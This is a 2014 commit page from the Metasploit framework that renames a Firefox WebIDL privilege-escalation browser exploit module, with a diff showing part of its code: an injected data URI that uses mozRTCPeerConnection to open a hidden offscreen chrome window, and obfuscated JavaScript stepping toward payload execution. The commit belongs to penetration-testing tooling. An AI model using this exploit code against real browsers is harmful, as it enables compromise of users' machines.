Rename exploit module.

rapid7 · Aug 27, 2014 · 26cfed6 · 26cfed6
1 parent 96276aa
commit 26cfed6
Showing 1 changed file with 6 additions and 2 deletions.
diff --git a/...er/firefox_webidl_javascript_injection.rb → ...multi/browser/firefox_webidl_injection.rb b/...er/firefox_webidl_javascript_injection.rb → ...multi/browser/firefox_webidl_injection.rb
@@ -73,8 +73,11 @@ def on_request_exploit(cli, request, target_info)
   def generate_html(target_info)
     key = Rex::Text.rand_text_alpha(5 + rand(12))
     frame = Rex::Text.rand_text_alpha(5 + rand(12))
+    r = Rex::Text.rand_text_alpha(5 + rand(12))
     opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
-    data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function(){},function(){top.vvv=window.open('chrome://browser/content/browser.xul', 'sd32elf', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
+    data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
+               "{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
+               "'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
 
     js = Rex::Exploitation::JSObfu.new(%Q|
       var opts = #{JSON.unparse(opts)};
@@ -109,7 +112,8 @@ def generate_html(target_info)
       // (this is important later)
       function step2() {
         var clear = setInterval(function(){
-          top.vvv.location ='data:text/html,<html><body><iframe mozBrowser src="about:blank"></iframe></body></html>';
+          top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
+                             'src="about:blank"></iframe></body></html>';
           clearInterval(clear);
           setTimeout(step3, 100);
         }, 10);